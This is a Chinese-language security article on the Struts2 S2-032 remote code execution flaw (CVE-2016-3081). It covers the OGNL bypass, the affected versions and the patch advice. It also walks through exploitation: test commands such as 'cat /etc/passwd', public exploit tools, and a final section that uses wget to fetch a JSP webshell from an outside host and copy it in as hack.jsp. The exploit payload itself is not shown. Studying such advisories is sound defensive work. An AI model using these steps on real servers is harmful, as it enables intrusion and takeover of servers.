Struts2遠(yuǎn)程代碼執(zhí)行漏洞s2-032分析及其利用
原創(chuàng)Struts2遠(yuǎn)程代碼執(zhí)行漏洞(s2-032)引發(fā)了無(wú)數(shù)大型系統(tǒng)的“血案”,很多從事開發(fā)和安全維護(hù)的朋友,在4月26日基本是無(wú)眠之夜,在撰寫本文時(shí),在烏云和360補(bǔ)天平臺(tái)上鋪天蓋地的s2-032遠(yuǎn)程執(zhí)行漏洞,航空、銀行、學(xué)校和政府成為本次漏洞的重災(zāi)區(qū),s2-032遠(yuǎn)程代碼執(zhí)行漏洞危害大,本文對(duì)s2-032漏洞進(jìn)行介紹,并對(duì)如何利用等進(jìn)行詳細(xì)介紹。
1.Struts簡(jiǎn)介
Struts是Apache基金會(huì)Jakarta項(xiàng)目組的一個(gè)開源項(xiàng)目,Struts通過采用Java Servlet/JSP技術(shù),實(shí)現(xiàn)了基于Java EE Web應(yīng)用的Model-View-Controller(MVC)設(shè)計(jì)模式的應(yīng)用框架,是MVC經(jīng)典設(shè)計(jì)模式中的一個(gè)經(jīng)典產(chǎn)品。目前,Struts框架廣泛應(yīng)用于政府、公安、交通、金融行業(yè)和運(yùn)營(yíng)商的網(wǎng)站建設(shè),作為網(wǎng)站開發(fā)的底層模板使用,是應(yīng)用最廣泛的Web應(yīng)用框架之一。
Struts 2是Struts的下一代產(chǎn)品,是在 struts 1和WebWork的技術(shù)基礎(chǔ)上進(jìn)行了合并的全新的Struts 2框架。其全新的Struts 2的體系結(jié)構(gòu)與Struts 1的體系結(jié)構(gòu)差別巨大,其在Action的實(shí)現(xiàn)方面線程模型方面、Servlet依賴方面、封裝請(qǐng)求參數(shù)、表達(dá)式語(yǔ)言方面、綁定值到視圖技術(shù)、類型轉(zhuǎn)換、Action執(zhí)行控制的對(duì)比、攔截器的應(yīng)用等方面較Struts1進(jìn)行了較大改進(jìn)。Struts 2以WebWork為核心,采用攔截器的機(jī)制來(lái)處理用戶的請(qǐng)求,這樣的設(shè)計(jì)也使得業(yè)務(wù)邏輯控制器能夠與 ServletAPI完全脫離開,所以Struts 2可以理解為WebWork的更新產(chǎn)品。雖然從Struts 1到Struts 2有著太大的變化,但是相對(duì)于WebWork,Struts 2的變化很小。
2. s2-032漏洞簡(jiǎn)介
4月15號(hào)安恒安全研究院在Struts 2上發(fā)現(xiàn)了一個(gè)嚴(yán)重的遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2016-3081)(http://seclab.dbappsecurity.com.cn/?p=924),也即Struts 2的s2-032漏洞,4月26日,互聯(lián)網(wǎng)上披露了Apache Struts 2 S2-032遠(yuǎn)程代碼執(zhí)行漏洞的利用代碼,經(jīng)測(cè)試,遠(yuǎn)程攻擊者利用漏洞可在開啟動(dòng)態(tài)方法調(diào)用功能的Apache Struts 2服務(wù)器上執(zhí)行任意代碼,取得網(wǎng)站服務(wù)器控制權(quán)。
(1)調(diào)用方法
Struts2是第二代基于Model-View-Controller (MVC)模型的java企業(yè)級(jí)web應(yīng)用框架,并成為當(dāng)時(shí)國(guó)內(nèi)外較為流行的容器軟件中間件。Struts 2的核心jar包-struts2-core中,存在一個(gè)default.properties的默認(rèn)配置文件用于配置全局信息,當(dāng)struts.enable.DynamicMethodInvocation = true,即開啟動(dòng)態(tài)方法調(diào)用。盡管在Struts2目前的安全策略中,對(duì)部分動(dòng)態(tài)調(diào)用方法進(jìn)行了特殊字符傳遞的限制,但在該漏洞中攻擊者仍能通過通過OGNL表達(dá)式靜態(tài)調(diào)用獲取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS屬性并覆蓋_memberAccess的方式進(jìn)行繞過,進(jìn)而可在受控制的服務(wù)器端執(zhí)行任意代碼。
(2)漏洞影響范圍
漏洞影響Struts 2.0.0 - 2.3.28 (除2.3.20.2和2.3.24.2以外)版本
(3)漏洞修復(fù)建議
Apache Struts官方已發(fā)布了升級(jí)程序修復(fù)該漏洞,建議用戶升級(jí)至struts 2.3.20.2,2.3.24.2,2.3.28.1版本。更新地址:https://cwiki.apache.org/confluence/display/WW/Migration+Guide。未能及時(shí)升級(jí)的用戶也可通過如下參數(shù)設(shè)置關(guān)閉動(dòng)態(tài)方法調(diào)用功能來(lái)規(guī)避該漏洞的攻擊威脅
3.漏洞測(cè)試樣例
(1)測(cè)試當(dāng)前用戶
將以上代碼復(fù)制到瀏覽器執(zhí)行成功后會(huì)下載相應(yīng)的action文件,如圖1所示,本例中為login.action,則將該文件保存在本地后,使用notepad打開后可以看到第一行文件為root,表示當(dāng)前用戶為root,如圖2所示,還可以將其命令更換為id等其它命令。
圖1存在漏洞下載文件
圖2查看漏洞執(zhí)行結(jié)果
(2)快速顯示漏洞
將command后的值設(shè)置為“netstat-an”或者“cat /etc/passwd”比較容易查看結(jié)果,如果存在結(jié)果,如圖3,圖4所示,則表明系統(tǒng)存在漏洞。如果是Windows則whoami會(huì)顯示為“nt authority\system”,其它多為root或者jboss。
圖3 執(zhí)行netstat命令
圖4執(zhí)行查看passwd文件命令
4.網(wǎng)上公開檢測(cè)地址
在線檢測(cè)s2-032的工具:
(1)http://0day.websaas.cn/
(2)https://www.seebug.org/monster/
將網(wǎng)站地址輸入檢測(cè)網(wǎng)站即可,如果存在漏洞會(huì)進(jìn)行提示,如圖5所示。
圖5在線檢測(cè)
5.網(wǎng)上公開的s2-032漏洞綜合利用工具
以K8為代表的安全愛好團(tuán)隊(duì)已經(jīng)公開s2-032漏洞的綜合利用工具,運(yùn)行后將網(wǎng)站地址復(fù)制到目標(biāo)中即可,注意必須要帶http或者h(yuǎn)ttps,如圖6所示,可以獲取目標(biāo)信息、執(zhí)行命令和文件上傳等功能。
圖6網(wǎng)上公開漏洞利用工具
6. s2-032漏洞的高級(jí)利用方法
發(fā)現(xiàn)s2-032漏洞后,可以利用K8 Struts2 Exploit利用工具,上傳Jsp小馬,例如可以執(zhí)行Linux命令的小馬,然后在服務(wù)器上放置一個(gè)大的Jsp馬,通過wget命令下載到本地,將其復(fù)制到相應(yīng)位置即可執(zhí)行。
wget http://www.antian365.com/jsp.txt
cp /opt/apache-tomcat-7.0.64/bin/jsp.txt /opt/apache-tomcat-7.0.64/app/hack.jsp
http://www.somesite.com/hack.jsp
7.參考文章
http://baike.baidu.com/view/1566725.htm
http://seclab.dbappsecurity.com.cn/?p=924